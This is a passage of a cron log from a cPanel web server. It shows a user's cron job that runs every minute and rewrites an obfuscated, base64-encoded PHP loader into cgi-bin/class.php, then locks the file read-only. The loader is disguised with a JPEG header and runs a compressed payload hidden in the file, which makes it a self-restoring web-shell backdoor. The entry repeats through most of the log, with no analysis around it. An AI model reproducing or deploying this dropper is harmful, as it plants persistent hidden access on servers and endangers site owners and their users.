JHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:07:01 server CROND[11667]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:08:01 server CROND[11749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:09:01 server CROND[11819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:09:01 server CROND[11820]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 15:10:01 server CROND[11994]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 15:10:01 server CROND[11995]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 15:10:01 server CROND[11996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:10:01 server CROND[11997]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 15:11:01 server CROND[12128]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:12:01 server CROND[12203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:12:01 server CROND[12204]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 15:13:01 server CROND[12315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:14:01 server CROND[12409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:15:01 server CROND[12577]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 15:15:01 server CROND[12576]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 15:15:01 server CROND[12578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:16:01 server CROND[12724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:17:01 server CROND[12797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:18:01 server CROND[12875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:19:01 server CROND[12962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:20:01 server CROND[13128]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 15:20:01 server CROND[13129]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 15:20:01 server CROND[13130]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 15:20:01 server CROND[13133]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
